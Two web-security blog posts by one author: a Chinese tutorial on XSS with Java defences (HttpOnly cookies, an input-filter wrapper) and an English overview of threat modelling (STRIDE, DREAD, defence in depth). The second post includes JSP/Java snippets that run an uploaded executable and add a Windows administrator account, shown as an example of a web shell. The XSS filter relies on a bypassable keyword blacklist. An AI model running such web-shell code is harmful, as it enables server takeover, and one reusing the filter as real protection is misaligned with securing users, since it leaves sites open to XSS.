Posted in Working Skills, 技术

[Web安全之实战] 跨站脚本攻击XSS

Writer:BYSocket(泥沙砖瓦浆木匠)

Reprint it anywhere u want.

文章Points:
1. 认识XSS

  2. XSS攻击

  3. XSS防御(重点)

 

一、认识XSS先

  先说个故事吧,在上一篇,我还想说这个案例。其实什么叫攻击,很简单。获取攻击者想要的信息,就黑成功了。抓到一个Tomcat漏洞(这不是我说的,一个认识的人说的),上传一个JSP,里面模拟HttpClient,下载一个木马,运行。OK,搞定了。所以,没有绝对的安全。

  今天,泥瓦匠带你们认识下XSS,然后关于怎么防御的问题。至于防御的话,仁者见仁智者见智。尔等啥都不配不上的就绰见,望各位阅读者相互讨论。泥瓦匠目前是搞JAVA的,所以例子上JAVA比较多。

  Q: 什么是XSS? 为啥有这个呢?

  A: 全名:Cross Site Script,中文名:跨站脚本攻击。顾名思义,是指“HTML注入”纂改了网页,插入恶意的脚本,从而在用户用浏览网页的时候,控制用户浏览器的一种攻击。

  XSS根据攻击的稳定性可分为三种:反射型XSS, 存储型XSS,DOM Based XSS.

  image

二、XSS攻击

  再来了解下XSS,是如何攻击?泥瓦匠这时候想到一句话:知己知彼,百战百胜吧。这攻击我们不会很详细解释,毕竟想说的是XSS防御嘛。首先,泥瓦匠要介绍下的是:

  XSS Playload,所谓用以完成各种具体的功能的恶意脚本。这时候我想到了黑客精神中的小插曲,现在所谓的“黑客”不是真正的黑客,而是称为脚本小子(Script Kid)。常见的一个XSS Playload,就是通过读取浏览器的Cookie对象,从而发起了‘Cookie劫持’攻击。这个泥瓦匠会教你们去防御哈,其中Cookie的‘HttpOnly’标识可以防止哦。

  强大的XSS Playload可以做以下的事情哈:1、构造 GET 与 POST 请求 2、各种钓鱼 3、识别用户浏览器 等等
Q&A

  Q:什么叫做钓鱼呢?
A:顾名思义,愿者上钩,这里做贬义用法。比如,人家用一个假的弹出框,或者假的页面让你输入QQ信息,或者啥账号信息。其实你一输入人家服务器获取到你的账户密码了。这就是鱼儿上钩了。 如图比喻:
image

 

三、XSS防御(重点)

  兵来将挡,水来土掩。泥瓦匠在Web安全上,想提醒大家的是:“再高的树,猴子也能爬上去。”因此,我们考虑的地方有些默认都给你做好了,有些需要我们自己去关心,去设置。

  其实在看不到的地方很多已经对抗XSS做了些措施。比如各种浏览器等。

  一、按着上面的思路,泥瓦匠先聊下Cookie,一个Cookie,我们是这样使用的:
1、浏览器下服务器发送请求,准备获取Cookie

    2、服务器返回发送Cookie头,向客户端浏览器写入Cookie。(注意哦,这里是浏览器,不要当成什么浏览器内核)

    3、在Cookie到期前,浏览器所有页面,都会发送Cookie。

  这就意味着,我们Cookie不能乱用。就像Session一样,所以在使用的时候,要注意下。有时候Cooike在用于记住密码的时候,千万要注意要将Cookie设置HttpOnly属性为Ture。这里我以SpringMVC为例子。如果用到Cookie的时候,应该这样:

                     // create cookie and set it in response
			Cookie cookie1 = new Cookie("cookie1", "cookieValueHttpOnly");
			Cookie cookie2 = new Cookie("cookie2", "cookieValue");
			cookie1.setHttpOnly(true);
			
			response.addCookie(cookie1);
			response.addCookie(cookie2);

截个Controller整个代码看看:
image

我们打开浏览器可以看到下面这种结果,访问URL这个Controller层,打开Firebug查看:
image

  二、输入校验

  输入校验的逻辑必须放在服务端中实现。如果用JS进行的话,容易被攻击者绕过去。所以普遍的做法是,类似很多代码一样进行Double Check:”客户端JS校验和服务端校验一起,这样客户端JS校验会阻挡大部分甚至说99%的用户的误操作。”

  在XSS防御上,我们需要对用户输入的一些特殊字符校验,过滤或者是编码。这种输入校验的方式成为“XSS Filter”。首先我们在配置文件中,

image其中的路径配置当然,在你需要的地方配置下咯。然后泥瓦匠在这里写了个,Http请求装饰类,用来对这些参数的过滤。说干就干呗~实战出经验。

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper
{

	public XssHttpServletRequestWrapper(HttpServletRequest request)
	{
		super(request);
	}

	public String[] getParameterValues(String parameter)
	{
		String[] values = super.getParameterValues(parameter);
		if (values==null)
		{
			return null;
        }
	    int count = values.length;
	    String[] encodedValues = new String[count];
	    for (int i = 0; i < count; i++)
	    {
	        encodedValues[i] = cleanXSS(values[i]);
	    }
	    return encodedValues;
    }

    public String getParameter(String parameter)
    {
    	String value = super.getParameter(parameter);
        if (value == null)
        {
            return null;
        }
        return cleanXSS(value);
    }

    public String getHeader(String name)
    {
        String value = super.getHeader(name);
        if (value == null)
            return null;
        return cleanXSS(value);
    }

    /**
      * @Title: cleanXSS
      * @Description: You'll need to remove the spaces from the html entities below
      * @param @param value
      * @param @return
      * @return String
      */
    private String cleanXSS(String value)
    {
        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
        value = value.replaceAll("'", "& #39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
        value = value.replaceAll("script", "");
        return value;
    }
}

  三、输出校验

  一般来说,除了富文本之外,在变量输出到HTML页面,可以使用编码或者转义的方式来防御XSS攻击。这是一种各家委婉的方式吧。

四、总结

  用兵之道在于,如何正确的使用,才能以少胜多。Web安全这场战争也一样,所以要如何正确的使用XSS防御。

Writer:BYSocket(泥沙砖瓦浆木匠)

Reprint it anywhere u want.

Posted in Java, 技术

Talk In Web Security(安全世界观): Devleping a Secure WebSite

Writer:BYSocket(泥沙砖瓦浆木匠)

Reprint it anywhere u want.

Why to write about Web Security?

A java file can hack your server.One JSP can download any file. How to do this?
1. Write a JSP and upload to the server.
2. Use JSP to download any bug by HttpClient.
3. Open the virus and get/add the infomation of admin or datas
We can see some from what I write.Its easy but useful:

 if(!IsWindows())
				{
					Process process = Runtime.getRuntime().exec("chmod 777 "+strExeFile);
					
					if (process.waitFor() != 0)
						out.println("FAIL ---> when open file");
				}
				
				Process process = Runtime.getRuntime().exec(strExeFile);
				if (process.waitFor() == 0)
					out.println("SUCCESS ---> When open the file");

Use Java to open the bug.And then get an administrator user.

	if(IsWindows())
	{
		String execStr = "cmd.exe /C " + "net user " + strAcc + " " + strPwd + " /add";
		Process process = Runtime.getRuntime().exec(execStr);	
		
		if (process.waitFor() == 0)
		{
			Runtime.getRuntime().exec("cmd.exe /C " + "net localgroup administrators " + strAcc + " /add");
		}
		else
			out.print("FAIL ---> when " + execStr);
	}

Its about how to use java to get add an administrator user.

Here are some injections that we can see anywhere.So we need Learn the Web Security. First we can learn from the Web history.

 

Some of Web Security needed to know

Since the environment getting worse,like Haze.So many persons wear Masks when going out.Just like the way to protect ourselves ,we trust the Masks. Its the same as web security.

  Note:’Web Security is based on the trust,every way to design on Web Security is also based on the trusts.’

Many web attacks like Haze:
1. XSS

  2. CRLF Injection

  3. X-PATH Injection

  4. HTML Injection

  5. JavaScript Injection

 

XSS Development
image

 

So there is a question:’How to analysis the web security of software or project?’

 

 

STRIDE (security) DREAD by Microsoft

STRIDE

STRIDE is a system developed by Microsoft for thinking about computer security threats.The threat categories are:
1. Spoofing of user identity

2. Tampering

3. Repudiation

4. Infomation disclosure

5. Denial of Service

6. Elevation of privilege

 

DREAD

The problem with a simplistic rating system is that team members usually will not agree on ratings. To help solve this, add new dimensions that help determine what the impact of a security threat really means. At Microsoft, the DREAD model is used to help calculate risk. By using the DREAD model, you arrive at the risk rating for a given threat by asking the following questions:

  1. Damage potential: How great is the damage if the vulnerability is exploited?

  2. Reproducibility: How easy is it to reproduce the attack?

  3. Exploitability: How easy is it to launch an attack?

  4. Affected users: As a rough percentage, how many users are affected?

  5. Discoverability: How easy is it to find the vulnerability?

 

So after these categories,a good way to design on Web Security has some features:

1. Solve problem in effect

2. Good experience for users

3. Low coupling

4. Easy to extend and upgrade

How to Devlep a Secure WebSite

  Note: ‘ Security is a normal subject and a poised art.’

1. Secure By Default

Its also the security of users.We can create The White List and The Black List and limits of user operation.

2. Defense in Depth

Defense in Depth is a crucial model for implementing effective information security. The details of such a diverse model are what make it successful, I have put together a series of eight webcasts on this topic. Here are 7 levels:

IC259073

3. Quarantine between Data and Demo

4. Uncertainly of unpredictability

The paramters may be easy to guess.So let them be hard to guess.

 

Think in Web Security

Like a bucket of water, we trust the bucket and water.Its the Security.When the bucket has the chemistry-poison,the security will be broken.
Note:‘Open Free Share’

G night~

 

Writer:BYSocket(泥沙砖瓦浆木匠)

Reprint it anywhere u want.